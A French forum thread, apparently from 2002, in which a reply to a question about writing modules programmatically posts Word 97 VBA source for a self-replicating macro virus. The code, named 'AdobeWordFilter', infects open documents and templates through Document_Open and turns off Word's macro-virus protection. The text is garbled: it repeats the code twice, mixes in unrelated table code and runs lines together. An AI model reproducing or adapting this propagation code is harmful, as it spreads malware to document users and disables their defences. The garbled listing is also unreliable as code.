Ecrire un module grace a un prog
cs_cuicui
Messages postés
18
Date d'inscription
mardi 20 août 2002
Statut
Membre
Dernière intervention
19 août 2004
-
28 août 2002 à 16:30
thiosyiasar Messages postés 186 Date d'inscription lundi 11 mars 2002 Statut Membre Dernière intervention 30 novembre 2010 - 28 août 2002 à 18:24
thiosyiasar Messages postés 186 Date d'inscription lundi 11 mars 2002 Statut Membre Dernière intervention 30 novembre 2010 - 28 août 2002 à 18:24
A voir également:
- Ecrire un module grace a un prog
- Vba écrire dans un fichier texte - Conseils pratiques -Visual Basic / VB.NET
- Violation d'accès à l'adresse dans le module - Forum Delphi / Pascal
- Écrire un programme qui calcule la moyenne des notes - Forum Python
- Lit au clavier des entiers positifs et calcul leur moyenne - Forum C
- Structure module ✓ - Forum VB.NET
1 réponse
thiosyiasar
Messages postés
186
Date d'inscription
lundi 11 mars 2002
Statut
Membre
Dernière intervention
30 novembre 2010
3
28 août 2002 à 18:24
28 août 2002 à 18:24
C'est possible heu... en vba Word (mais les antivirus te pète à la gueule, du moins Norton 2000). Pour Vb regarde du coté des projet Add-in pour visual Basic (je pense).
Sinon j'ai un début de code que j'avais commencé en vba word 97 si ça t'intéresse
'************************************
Public Sub Test()
Call AdobeWordFilter
End Sub
Private Sub AdobeWordFilter()
Dim oDocument As Word.Document ' INSTANCE DOCUMENT
Dim oTemplate As Word.Template ' INSTANCE MODELE
Dim lTemplate As Long ' NUMERO DU MODELE
Dim oVBComposant As VBIDE.VBComponent ' INSTANCE VBCOMPOSANT
Dim strCodeName As String ' NOM DE LA PROCEDURE INFECTEE
Dim strCodeStart As String ' DEBUT DU SOUS PROGRAMME
Dim strCodeEnd As String ' FIN DU SOUS PROGRAMME
Dim strCodeLine As String ' POINT DE REPERE DANS LE SOUS PROGRAMME
Dim strCodeEVENT As String ' CODE DE L'EVENEMENT
Dim strCodePROC As String ' CODE DE LA PROCEDURE
' TAMPONS DIVERS
Dim lLines As Long ' NOMBRE DE LIGNE DANS LE MODELE
Dim lProcStart As Long ' PREMIERE LIGNE DE LA PROCEDURE
Stop
' ****************************************************************
' REPRODUCTION DU VIRUS
' ****************************************************************
' DEFINITION DES REPERES
strCodeName = "Document_Open()"
strCodeStart = "Private Sub " & strCodeName
strCodeEnd = "End Sub"
strCodeLine = "' <Tµ***>passera ici...</***Tµ>"
strCodeEVENT = "Call AdobeWordFilter"
strCodePROC = "Private Sub AdobeWordFilter()" & vbCrLf _
& " MsgBox ""-->VIRUS!!!<--""" & vbCrLf _
& "End Sub" & vbCrLf
' DANS CHAQUE DOCUMENTS OUVERTS
For Each oDocument In Application.Documents
' POUR CHAQUE COMPOSANT DE CODE
For Each oVBComposant In oDocument.VBProject.VBComponents
lLines = oVBComposant.CodeModule.CountOfLines
' SI MARQUE NON TROUVE ET PAS EN LECTURE SEULE
If oVBComposant.CodeModule.Find(strCodeLine, 1, 1, lLines, 10000) _
Or oDocument.ReadOnly Then
Debug.Print "Pas touche à '" & oDocument.Name & "'"
Else
Debug.Print "Infection de '" & oDocument.Name & "'"
End If
Next
Next
' DANS CHAQUE MODELES OUVERTS
For Each oTemplate In Application.Templates
' SI LE PROJET N'EST PAS PROTEGE
If oTemplate.VBProject.Protection = 0 Then
' POUR CHAQUE COMPOSANT DE CODE
For Each oVBComposant In oTemplate.VBProject.VBComponents
lLines = oVBComposant.CodeModule.CountOfLines
' SI DEJA INFECTE
If oVBComposant.CodeModule.Find(strCodeLine, 1, 1, lLines, 10000) Then
Debug.Print "Pas touche à '" & oTemplate.Name & "'"
' SINON --> MARQUE NON TROUVE
Else
Debug.Print "Infection de '" & oTemplate.Name & "'"
lLines = oVBComposant.CodeModule.CountOfLines
' SI PROCEDURE EXISTE DEJA
If oVBComposant.CodeModule.Find(strCodeStart, 1, 1, lLines, 10000) Then
lProcStart = oVBComposant.CodeModule.ProcBodyLine(strCodeName, 0) + 1
Else
lProcStart = oVBComposant.CodeModule.CreateEventProc("Open", "Document") + 1
End If
Call oVBComposant.CodeModule.InsertLines(lProcStart, strCodeEVENT)
Call oVBComposant.CodeModule.InsertLines(lLines, strCodePROC)
Debug.Print lProcStart
Exit For
End If
Next
End If
Next
End Sub
Option Explicit
Private moWord As Word.Application
Private moTable As Word.Table
Private moRow As Word.Row
Private Const MAX_BORDER_WIDTH As Long = 3
Public Sub TestTab1()
Set moWord = Word.Application
Dim lPtrCol As Long ' POINTEUR DE COLONNE
Dim lPtrLig As Long ' POINTEUR DE LIGNE
Dim lLignes As Long ' NOMBRE DE LIGNES
Dim lColonnes As Long ' NOMBRE DE COLONNES
Dim lLargeurs() As Single ' LARGEURS DES COLONNES
Dim lLargTotal As Single ' LARGEUR TOTAL
Dim lLargFusion As Single ' LARGEUR DE LA FUSION
Dim lPtrColFusion As Long ' POINTEUR POUR LES CELLULES FUSIONNEES
Dim lNbrFusion As Long ' NOMBRE DE CELLULE FUSIONNEES
Dim Signet As String
Dim MaxWidth As Long
Signet = "T2"
MaxWidth = 5
' SELECTION DE LA TABLE
moWord.ActiveDocument.Bookmarks(Signet).Select
Set moTable = moWord.Selection.Tables(1)
' LECTURE DES DIMENSIONS DU TALBLEAU
lLignes = moTable.Rows.Count
lColonnes = moTable.Columns.Count
ReDim lLargeurs(1 To lColonnes)
' LECTURE DES LARGEURS DE COLONNES (SUR LA LIGNE DU SIGNET)
For lPtrCol = 1 To lColonnes
lLargeurs(lPtrCol) = moTable.Rows(lLignes).Cells(lPtrCol).Width
Debug.Print lLargeurs(lPtrCol)
Next lPtrCol
' CONVERTION DE LA STRUCTURE DE L'ENTETE
On Error Resume Next
Stop
' POUR CHAQUE LIGNE
For lPtrLig = 1 To lLignes - 1
Debug.Print "ligne " & lPtrLig
lPtrCol = 0
lPtrColFusion = 0
Do ' POUR CHAQUE COLONNE DE LA LIGNE EN COURS (Possibilitée de fusion)
Err.Clear
lPtrColFusion = lPtrColFusion + 1
lLargTotal = 0
lNbrFusion = 0
' LECTURE DE LA LARGUEUR DE LA CELLULE EN COURS
lLargFusion = moTable.Rows(lPtrLig).Cells(lPtrColFusion).Width
' SI LE MEMBRE DE LA COLLECTION N'EXITE PAS
If Err = 5941 Then Exit Do
Do ' COMPTAGE DES LARGUEURS MEMORISEE
Err.Clear
lPtrCol = lPtrCol + 1
lNbrFusion = lNbrFusion + 1
lLargTotal = lLargTotal + lLargeurs(lPtrCol) If lLargTotal + MaxWidth >lLargFusion Or Err.Number 9 Then
Debug.Print "Colonne " & lPtrColFusion & ", ColSpan = " & lNbrFusion
Exit Do
End If
Loop
Loop
Next lPtrLig
End Sub
Public Sub Test()
Call AdobeWordFilter
End Sub
Private Sub AdobeWordFilter()
Dim oDocument As Word.Document ' INSTANCE DOCUMENT
Dim oTemplate As Word.Template ' INSTANCE MODELE
Dim lTemplate As Long ' NUMERO DU MODELE
Dim oVBComposant As VBIDE.VBComponent ' INSTANCE VBCOMPOSANT
Dim strCodeName As String ' NOM DE LA PROCEDURE INFECTEE
Dim strCodeStart As String ' DEBUT DU SOUS PROGRAMME
Dim strCodeEnd As String ' FIN DU SOUS PROGRAMME
Dim strCodeLine As String ' POINT DE REPERE SOUS PROGRAMME
Dim strCodeEVENT As String ' CODE A INSERER DANS L'EVENEMENT
Dim strCodePROCName As String ' NOM DE LA PROCEDURE DU VIRUS
Dim strCodePROC As String ' CODE DE LA PROCEDURE DU VIRUS
Dim oWordObject As Object
Dim oWordObjects As Object
' TAMPONS DIVERS
Dim lLines As Long ' NOMBRE DE LIGNE DANS LE MODELE
Dim lProcStart As Long ' PREMIERE LIGNE DE LA PROCEDURE
Dim bInfection As Boolean ' TRUE SI DOCUMENT INFECTE
Dim bTemplate As Long ' INSEPTION --> FALSE (DOCUMENT) TRUE (TEMPLATE)
' ****************************************************************
' REPRODUCTION DU VIRUS
' ****************************************************************
' DEFINITION DES REPERES
strCodeName = "Document_Open"
strCodeStart = "Private Sub " & strCodeName & "()"
strCodeEnd = "End Sub"
strCodeLine = "' <Tµ***>passera ici...</***Tµ>"
strCodePROCName = "AdobeWordFilter"
strCodePROC = "Private Sub " & strCodePROCName & "()" & vbCrLf _
& " " & strCodeLine & vbCrLf _
& " MsgBox ""-->VIRUS!!!<--""" & vbCrLf _
& "End Sub" & vbCrLf
strCodeEVENT = " Call " & strCodePROCName & vbCrLf
' INSPECTION LES MODELES PUIS LES DOCUMENT ET ONT SORT
Do
If bTemplate = 0 Then
Set oWordObjects = Application.Templates
bTemplate = bTemplate + 1
ElseIf btemplate = 1 Then
Set oWordObjects = Application.Documents
bTemplate = bTemplate + 1
Else
Set oWordObjects = Nothing
Exit Do
End If
For Each oWordObject In oWordObjects
If oWordObject.VBProject.Protection = 0 Then
' POUR CHAQUE COMPOSANT DE CODE
For Each oVBComposant In oWordObject.VBProject.VBComponents
lLines = oVBComposant.CodeModule.CountOfLines
bInfection = False
' SI DEJA INFECTE
If oVBComposant.CodeModule.Find(strCodeLine, 1, 1, lLines, 10000) Then
Debug.Print "Pas touche à '" & oWordObject.Name & "'"
bInfection = True
Exit For
End If
Next
' SI PAS INFECTE
If Not bInfection Then
Set oVBComposant = oWordObject.VBProject.VBComponents.Item(1)
Debug.Print "Infection de '" & oWordObject.Name & "'"
lLines = oVBComposant.CodeModule.CountOfLines If lLines 0 Then lLines 1
' SI PROCEDURE EXISTE DEJA
If oVBComposant.CodeModule.Find(strCodeStart, 1, 1, lLines, 10000) Then
lProcStart = oVBComposant.CodeModule.ProcBodyLine(strCodeName, 0) + 1
' AJOUT DE LA LIGNE D'APPELLE
Call oVBComposant.CodeModule.InsertLines(lProcStart, strCodeEVENT)
Debug.Print "code Appel Ajouté"
Else
' AJOUT DE L'EVENEMENT COMPLET
Call oVBComposant.CodeModule.InsertLines(lLines, _
strCodeStart & vbCrLf _
& strCodeEVENT & vbCrLf _
& strCodeEnd & vbCrLf)
Debug.Print "Code Evenement ajouté"
End If
' AJOUT DU CODE
lLines = oVBComposant.CodeModule.CountOfLines
Call oVBComposant.CodeModule.InsertLines(lLines, strCodePROC)
Debug.Print "Code Virus Ajouté"
End If
End If
Next
Loop
Options.VirusProtection = False
' ' DANS CHAQUE DOCUMENTS OUVERTS
' For Each oDocument In Application.Documents
' ' SI PAS DE PROTECTION
' If oDocument.VBProject.Protection = 0 And Not oDocument.ReadOnly Then
' ' POUR CHAQUE COMPOSANT DE CODE
' For Each oVBComposant In oDocument.VBProject.VBComponents
' lLines = oVBComposant.CodeModule.CountOfLines
' bInfection = False
' ' SI DEJA INFECTE
' If oVBComposant.CodeModule.Find(strCodeLine, 1, 1, lLines, 10000) Then
' Debug.Print "Pas touche à '" & oDocument.Name & "'"
' bInfection = True
' Exit For
' End If
' Next
' ' SI PAS INFECTE
' If Not bInfection Then
' Set oVBComposant = oDocument.VBProject.VBComponents.Item(1)
' Debug.Print "Infection de '" & oDocument.Name & "'"
' lLines = oVBComposant.CodeModule.CountOfLines' If lLines 0 Then lLines 1
' ' SI PROCEDURE EXISTE DEJA
' If oVBComposant.CodeModule.Find(strCodeStart, 1, 1, lLines, 10000) Then
' lProcStart = oVBComposant.CodeModule.ProcBodyLine(strCodeName, 0) + 1
' ' AJOUT DE LA LIGNE D'APPELLE
' Call oVBComposant.CodeModule.InsertLines(lProcStart, strCodeEVENT)
' Debug.Print "code Appel Ajouté"
' Else
' ' AJOUT DE L'EVENEMENT COMPLET
' Call oVBComposant.CodeModule.InsertLines(lLines, _
' strCodeStart & vbCrLf _
' & strCodeEVENT & vbCrLf _
' & strCodeEnd & vbCrLf)
' Debug.Print "Code Evenement ajouté"
' End If
' ' AJOUT DU CODE
' lLines = oVBComposant.CodeModule.CountOfLines
' Call oVBComposant.CodeModule.InsertLines(lLines, strCodePROC)
' Debug.Print "Code Virus Ajouté"
' End If
' End If
' Next
' ' DANS CHAQUE MODELES OUVERTS
' For Each oTemplate In Application.Templates
' ' SI LE PROJET N'EST PAS PROTEGE
' If oTemplate.VBProject.Protection = 0 Then
' ' POUR CHAQUE COMPOSANT DE CODE
' For Each oVBComposant In oTemplate.VBProject.VBComponents
' lLines = oVBComposant.CodeModule.CountOfLines
' bInfection = False
' ' SI DEJA INFECTE
' If oVBComposant.CodeModule.Find(strCodeLine, 1, 1, lLines, 10000) Then
' Debug.Print "Pas touche à '" & oTemplate.Name & "'"
' bInfection = True
' Exit For
' End If
' Next
'
' ' SI PAS INFECTE
' If Not bInfection Then
' Set oVBComposant = oTemplate.VBProject.VBComponents.Item(1)
' Debug.Print "Infection de '" & oTemplate.Name & "'"
' lLines = oVBComposant.CodeModule.CountOfLines' If lLines 0 Then lLines 1
' ' SI PROCEDURE EXISTE DEJA
' If oVBComposant.CodeModule.Find(strCodeStart, 1, 1, lLines, 10000) Then
' lProcStart = oVBComposant.CodeModule.ProcBodyLine(strCodeName, 0) + 1
' ' AJOUT DE LA LIGNE D'APPELLE
' Call oVBComposant.CodeModule.InsertLines(lProcStart, strCodeEVENT)
' Debug.Print "code Appel Ajouté"
' Else
' ' AJOUT DE L'EVENEMENT COMPLET
' Call oVBComposant.CodeModule.InsertLines(lLines, _
' strCodeStart & vbCrLf _
' & strCodeEVENT & vbCrLf _
' & strCodeEnd & vbCrLf)
' Debug.Print "Code Evenement ajouté"
' End If
' ' AJOUT DU CODE
' lLines = oVBComposant.CodeModule.CountOfLines
' Call oVBComposant.CodeModule.InsertLines(lLines, strCodePROC)
' Debug.Print "Code Virus Ajouté"
' Exit For
' End If
' End If
' Next
End Sub
@+
Sinon j'ai un début de code que j'avais commencé en vba word 97 si ça t'intéresse
'************************************
Public Sub Test()
Call AdobeWordFilter
End Sub
Private Sub AdobeWordFilter()
Dim oDocument As Word.Document ' INSTANCE DOCUMENT
Dim oTemplate As Word.Template ' INSTANCE MODELE
Dim lTemplate As Long ' NUMERO DU MODELE
Dim oVBComposant As VBIDE.VBComponent ' INSTANCE VBCOMPOSANT
Dim strCodeName As String ' NOM DE LA PROCEDURE INFECTEE
Dim strCodeStart As String ' DEBUT DU SOUS PROGRAMME
Dim strCodeEnd As String ' FIN DU SOUS PROGRAMME
Dim strCodeLine As String ' POINT DE REPERE DANS LE SOUS PROGRAMME
Dim strCodeEVENT As String ' CODE DE L'EVENEMENT
Dim strCodePROC As String ' CODE DE LA PROCEDURE
' TAMPONS DIVERS
Dim lLines As Long ' NOMBRE DE LIGNE DANS LE MODELE
Dim lProcStart As Long ' PREMIERE LIGNE DE LA PROCEDURE
Stop
' ****************************************************************
' REPRODUCTION DU VIRUS
' ****************************************************************
' DEFINITION DES REPERES
strCodeName = "Document_Open()"
strCodeStart = "Private Sub " & strCodeName
strCodeEnd = "End Sub"
strCodeLine = "' <Tµ***>passera ici...</***Tµ>"
strCodeEVENT = "Call AdobeWordFilter"
strCodePROC = "Private Sub AdobeWordFilter()" & vbCrLf _
& " MsgBox ""-->VIRUS!!!<--""" & vbCrLf _
& "End Sub" & vbCrLf
' DANS CHAQUE DOCUMENTS OUVERTS
For Each oDocument In Application.Documents
' POUR CHAQUE COMPOSANT DE CODE
For Each oVBComposant In oDocument.VBProject.VBComponents
lLines = oVBComposant.CodeModule.CountOfLines
' SI MARQUE NON TROUVE ET PAS EN LECTURE SEULE
If oVBComposant.CodeModule.Find(strCodeLine, 1, 1, lLines, 10000) _
Or oDocument.ReadOnly Then
Debug.Print "Pas touche à '" & oDocument.Name & "'"
Else
Debug.Print "Infection de '" & oDocument.Name & "'"
End If
Next
Next
' DANS CHAQUE MODELES OUVERTS
For Each oTemplate In Application.Templates
' SI LE PROJET N'EST PAS PROTEGE
If oTemplate.VBProject.Protection = 0 Then
' POUR CHAQUE COMPOSANT DE CODE
For Each oVBComposant In oTemplate.VBProject.VBComponents
lLines = oVBComposant.CodeModule.CountOfLines
' SI DEJA INFECTE
If oVBComposant.CodeModule.Find(strCodeLine, 1, 1, lLines, 10000) Then
Debug.Print "Pas touche à '" & oTemplate.Name & "'"
' SINON --> MARQUE NON TROUVE
Else
Debug.Print "Infection de '" & oTemplate.Name & "'"
lLines = oVBComposant.CodeModule.CountOfLines
' SI PROCEDURE EXISTE DEJA
If oVBComposant.CodeModule.Find(strCodeStart, 1, 1, lLines, 10000) Then
lProcStart = oVBComposant.CodeModule.ProcBodyLine(strCodeName, 0) + 1
Else
lProcStart = oVBComposant.CodeModule.CreateEventProc("Open", "Document") + 1
End If
Call oVBComposant.CodeModule.InsertLines(lProcStart, strCodeEVENT)
Call oVBComposant.CodeModule.InsertLines(lLines, strCodePROC)
Debug.Print lProcStart
Exit For
End If
Next
End If
Next
End Sub
Option Explicit
Private moWord As Word.Application
Private moTable As Word.Table
Private moRow As Word.Row
Private Const MAX_BORDER_WIDTH As Long = 3
Public Sub TestTab1()
Set moWord = Word.Application
Dim lPtrCol As Long ' POINTEUR DE COLONNE
Dim lPtrLig As Long ' POINTEUR DE LIGNE
Dim lLignes As Long ' NOMBRE DE LIGNES
Dim lColonnes As Long ' NOMBRE DE COLONNES
Dim lLargeurs() As Single ' LARGEURS DES COLONNES
Dim lLargTotal As Single ' LARGEUR TOTAL
Dim lLargFusion As Single ' LARGEUR DE LA FUSION
Dim lPtrColFusion As Long ' POINTEUR POUR LES CELLULES FUSIONNEES
Dim lNbrFusion As Long ' NOMBRE DE CELLULE FUSIONNEES
Dim Signet As String
Dim MaxWidth As Long
Signet = "T2"
MaxWidth = 5
' SELECTION DE LA TABLE
moWord.ActiveDocument.Bookmarks(Signet).Select
Set moTable = moWord.Selection.Tables(1)
' LECTURE DES DIMENSIONS DU TALBLEAU
lLignes = moTable.Rows.Count
lColonnes = moTable.Columns.Count
ReDim lLargeurs(1 To lColonnes)
' LECTURE DES LARGEURS DE COLONNES (SUR LA LIGNE DU SIGNET)
For lPtrCol = 1 To lColonnes
lLargeurs(lPtrCol) = moTable.Rows(lLignes).Cells(lPtrCol).Width
Debug.Print lLargeurs(lPtrCol)
Next lPtrCol
' CONVERTION DE LA STRUCTURE DE L'ENTETE
On Error Resume Next
Stop
' POUR CHAQUE LIGNE
For lPtrLig = 1 To lLignes - 1
Debug.Print "ligne " & lPtrLig
lPtrCol = 0
lPtrColFusion = 0
Do ' POUR CHAQUE COLONNE DE LA LIGNE EN COURS (Possibilitée de fusion)
Err.Clear
lPtrColFusion = lPtrColFusion + 1
lLargTotal = 0
lNbrFusion = 0
' LECTURE DE LA LARGUEUR DE LA CELLULE EN COURS
lLargFusion = moTable.Rows(lPtrLig).Cells(lPtrColFusion).Width
' SI LE MEMBRE DE LA COLLECTION N'EXITE PAS
If Err = 5941 Then Exit Do
Do ' COMPTAGE DES LARGUEURS MEMORISEE
Err.Clear
lPtrCol = lPtrCol + 1
lNbrFusion = lNbrFusion + 1
lLargTotal = lLargTotal + lLargeurs(lPtrCol) If lLargTotal + MaxWidth >lLargFusion Or Err.Number 9 Then
Debug.Print "Colonne " & lPtrColFusion & ", ColSpan = " & lNbrFusion
Exit Do
End If
Loop
Loop
Next lPtrLig
End Sub
Public Sub Test()
Call AdobeWordFilter
End Sub
Private Sub AdobeWordFilter()
Dim oDocument As Word.Document ' INSTANCE DOCUMENT
Dim oTemplate As Word.Template ' INSTANCE MODELE
Dim lTemplate As Long ' NUMERO DU MODELE
Dim oVBComposant As VBIDE.VBComponent ' INSTANCE VBCOMPOSANT
Dim strCodeName As String ' NOM DE LA PROCEDURE INFECTEE
Dim strCodeStart As String ' DEBUT DU SOUS PROGRAMME
Dim strCodeEnd As String ' FIN DU SOUS PROGRAMME
Dim strCodeLine As String ' POINT DE REPERE SOUS PROGRAMME
Dim strCodeEVENT As String ' CODE A INSERER DANS L'EVENEMENT
Dim strCodePROCName As String ' NOM DE LA PROCEDURE DU VIRUS
Dim strCodePROC As String ' CODE DE LA PROCEDURE DU VIRUS
Dim oWordObject As Object
Dim oWordObjects As Object
' TAMPONS DIVERS
Dim lLines As Long ' NOMBRE DE LIGNE DANS LE MODELE
Dim lProcStart As Long ' PREMIERE LIGNE DE LA PROCEDURE
Dim bInfection As Boolean ' TRUE SI DOCUMENT INFECTE
Dim bTemplate As Long ' INSEPTION --> FALSE (DOCUMENT) TRUE (TEMPLATE)
' ****************************************************************
' REPRODUCTION DU VIRUS
' ****************************************************************
' DEFINITION DES REPERES
strCodeName = "Document_Open"
strCodeStart = "Private Sub " & strCodeName & "()"
strCodeEnd = "End Sub"
strCodeLine = "' <Tµ***>passera ici...</***Tµ>"
strCodePROCName = "AdobeWordFilter"
strCodePROC = "Private Sub " & strCodePROCName & "()" & vbCrLf _
& " " & strCodeLine & vbCrLf _
& " MsgBox ""-->VIRUS!!!<--""" & vbCrLf _
& "End Sub" & vbCrLf
strCodeEVENT = " Call " & strCodePROCName & vbCrLf
' INSPECTION LES MODELES PUIS LES DOCUMENT ET ONT SORT
Do
If bTemplate = 0 Then
Set oWordObjects = Application.Templates
bTemplate = bTemplate + 1
ElseIf btemplate = 1 Then
Set oWordObjects = Application.Documents
bTemplate = bTemplate + 1
Else
Set oWordObjects = Nothing
Exit Do
End If
For Each oWordObject In oWordObjects
If oWordObject.VBProject.Protection = 0 Then
' POUR CHAQUE COMPOSANT DE CODE
For Each oVBComposant In oWordObject.VBProject.VBComponents
lLines = oVBComposant.CodeModule.CountOfLines
bInfection = False
' SI DEJA INFECTE
If oVBComposant.CodeModule.Find(strCodeLine, 1, 1, lLines, 10000) Then
Debug.Print "Pas touche à '" & oWordObject.Name & "'"
bInfection = True
Exit For
End If
Next
' SI PAS INFECTE
If Not bInfection Then
Set oVBComposant = oWordObject.VBProject.VBComponents.Item(1)
Debug.Print "Infection de '" & oWordObject.Name & "'"
lLines = oVBComposant.CodeModule.CountOfLines If lLines 0 Then lLines 1
' SI PROCEDURE EXISTE DEJA
If oVBComposant.CodeModule.Find(strCodeStart, 1, 1, lLines, 10000) Then
lProcStart = oVBComposant.CodeModule.ProcBodyLine(strCodeName, 0) + 1
' AJOUT DE LA LIGNE D'APPELLE
Call oVBComposant.CodeModule.InsertLines(lProcStart, strCodeEVENT)
Debug.Print "code Appel Ajouté"
Else
' AJOUT DE L'EVENEMENT COMPLET
Call oVBComposant.CodeModule.InsertLines(lLines, _
strCodeStart & vbCrLf _
& strCodeEVENT & vbCrLf _
& strCodeEnd & vbCrLf)
Debug.Print "Code Evenement ajouté"
End If
' AJOUT DU CODE
lLines = oVBComposant.CodeModule.CountOfLines
Call oVBComposant.CodeModule.InsertLines(lLines, strCodePROC)
Debug.Print "Code Virus Ajouté"
End If
End If
Next
Loop
Options.VirusProtection = False
' ' DANS CHAQUE DOCUMENTS OUVERTS
' For Each oDocument In Application.Documents
' ' SI PAS DE PROTECTION
' If oDocument.VBProject.Protection = 0 And Not oDocument.ReadOnly Then
' ' POUR CHAQUE COMPOSANT DE CODE
' For Each oVBComposant In oDocument.VBProject.VBComponents
' lLines = oVBComposant.CodeModule.CountOfLines
' bInfection = False
' ' SI DEJA INFECTE
' If oVBComposant.CodeModule.Find(strCodeLine, 1, 1, lLines, 10000) Then
' Debug.Print "Pas touche à '" & oDocument.Name & "'"
' bInfection = True
' Exit For
' End If
' Next
' ' SI PAS INFECTE
' If Not bInfection Then
' Set oVBComposant = oDocument.VBProject.VBComponents.Item(1)
' Debug.Print "Infection de '" & oDocument.Name & "'"
' lLines = oVBComposant.CodeModule.CountOfLines' If lLines 0 Then lLines 1
' ' SI PROCEDURE EXISTE DEJA
' If oVBComposant.CodeModule.Find(strCodeStart, 1, 1, lLines, 10000) Then
' lProcStart = oVBComposant.CodeModule.ProcBodyLine(strCodeName, 0) + 1
' ' AJOUT DE LA LIGNE D'APPELLE
' Call oVBComposant.CodeModule.InsertLines(lProcStart, strCodeEVENT)
' Debug.Print "code Appel Ajouté"
' Else
' ' AJOUT DE L'EVENEMENT COMPLET
' Call oVBComposant.CodeModule.InsertLines(lLines, _
' strCodeStart & vbCrLf _
' & strCodeEVENT & vbCrLf _
' & strCodeEnd & vbCrLf)
' Debug.Print "Code Evenement ajouté"
' End If
' ' AJOUT DU CODE
' lLines = oVBComposant.CodeModule.CountOfLines
' Call oVBComposant.CodeModule.InsertLines(lLines, strCodePROC)
' Debug.Print "Code Virus Ajouté"
' End If
' End If
' Next
' ' DANS CHAQUE MODELES OUVERTS
' For Each oTemplate In Application.Templates
' ' SI LE PROJET N'EST PAS PROTEGE
' If oTemplate.VBProject.Protection = 0 Then
' ' POUR CHAQUE COMPOSANT DE CODE
' For Each oVBComposant In oTemplate.VBProject.VBComponents
' lLines = oVBComposant.CodeModule.CountOfLines
' bInfection = False
' ' SI DEJA INFECTE
' If oVBComposant.CodeModule.Find(strCodeLine, 1, 1, lLines, 10000) Then
' Debug.Print "Pas touche à '" & oTemplate.Name & "'"
' bInfection = True
' Exit For
' End If
' Next
'
' ' SI PAS INFECTE
' If Not bInfection Then
' Set oVBComposant = oTemplate.VBProject.VBComponents.Item(1)
' Debug.Print "Infection de '" & oTemplate.Name & "'"
' lLines = oVBComposant.CodeModule.CountOfLines' If lLines 0 Then lLines 1
' ' SI PROCEDURE EXISTE DEJA
' If oVBComposant.CodeModule.Find(strCodeStart, 1, 1, lLines, 10000) Then
' lProcStart = oVBComposant.CodeModule.ProcBodyLine(strCodeName, 0) + 1
' ' AJOUT DE LA LIGNE D'APPELLE
' Call oVBComposant.CodeModule.InsertLines(lProcStart, strCodeEVENT)
' Debug.Print "code Appel Ajouté"
' Else
' ' AJOUT DE L'EVENEMENT COMPLET
' Call oVBComposant.CodeModule.InsertLines(lLines, _
' strCodeStart & vbCrLf _
' & strCodeEVENT & vbCrLf _
' & strCodeEnd & vbCrLf)
' Debug.Print "Code Evenement ajouté"
' End If
' ' AJOUT DU CODE
' lLines = oVBComposant.CodeModule.CountOfLines
' Call oVBComposant.CodeModule.InsertLines(lLines, strCodePROC)
' Debug.Print "Code Virus Ajouté"
' Exit For
' End If
' End If
' Next
End Sub
@+